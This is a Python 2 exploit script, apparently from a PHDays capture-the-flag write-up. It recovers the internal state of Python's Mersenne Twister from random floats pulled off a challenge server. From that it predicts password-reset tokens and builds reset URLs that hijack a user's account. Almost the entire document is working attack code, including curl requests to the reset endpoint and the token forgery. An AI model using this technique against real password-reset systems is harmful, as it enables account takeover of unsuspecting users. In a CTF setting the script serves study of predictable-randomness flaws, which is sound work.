Rating:

#!/usr/bin/env python2
#
# see: https://github.com/fx5/not_random and related article

import sys
import os
import gzip
import random
from itertools import imap
import hashlib

from lxml.etree import parse

from progress import ProgressBar

#HOST = 'example.com'
HOST = 'ctf.phdays.com:12391'
USERN = int(sys.argv[1])
EMAIL = 'user%[email protected]' % USERN
BROWSER = 'chromium'

print "Loading Magic"
f = gzip.GzipFile("magic_data","r")
magic = eval(f.read())
f.close()
print "Done."

print "Working...."

progress = ProgressBar()

def rebuild_random_from_string(string):
return rebuild_random(list(imap(ord, string)))

def rebuild_from_floats(floats):
s = "".join(chr(int(i * 256)) for i in floats)
return rebuild_random_from_string(s)

def rebuild_random(vals):

def getbit(bit):
assert bit >= 0
return (vals[bit // 8] >> (7 - bit % 8)) & 1

state = []

for i in xrange(0, 624):
progress.progress(i / 623.)
val = 0
data = magic[i % 2]
for bit in data:
val <<= 1
for b in bit:
val ^= getbit(b+(i//2)*8 - 8)
state.append(val)

state.append(0)

ran = random.Random()
ran.setstate((3, tuple(state),None))

for i in xrange(len(vals) - 3201 + 394):
ran.randint(0,255)

return ran

def random_floats(length, random_module=random):
return [random_module.random() for i in range(length)]

def get_floats(n=3360):

os.popen(r'''
curl -v \
http://%(host)s/\?count\=%(count)d -o rw500_resp \
http://%(host)s/password_reset/ \
-d csrfmiddlewaretoken=23ca27c3882e0b9a1964d96e44c0481e \
-d email=%(email)s \
-H 'Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e'
cat rw500_resp | \
sed 's/=\([0-9.]\+\)/="\1"/g' | \
sed 's,\(rand .*\)>,\1/>,g' >rw500_resp.xml
''' % {'host': HOST, 'count': n, 'email': EMAIL}
).close()

xml = parse('rw500_resp.xml')

return list(map(float, xml.xpath('rand/@value')))

if __name__ == "__main__":

floats = get_floats(3400)

my_random = rebuild_from_floats(floats[:3360])

for n, (i, j) in enumerate(zip(floats[-40:],
[my_random.random()
for i in range(40)])):
assert '%.16f' % i == '%.16f' % j, Exception('%d (%f)' % (
n, abs(i - j)
))

for i in range(5):
url = 'http://%s/reset/%d-%s/' % (
HOST, USERN,
hashlib.md5('%.16f' % my_random.random()).hexdigest()
)
print(url)
os.popen3('%s %s' % (BROWSER, url))

Original writeup (https://gist.github.com/4317091#comment-653658).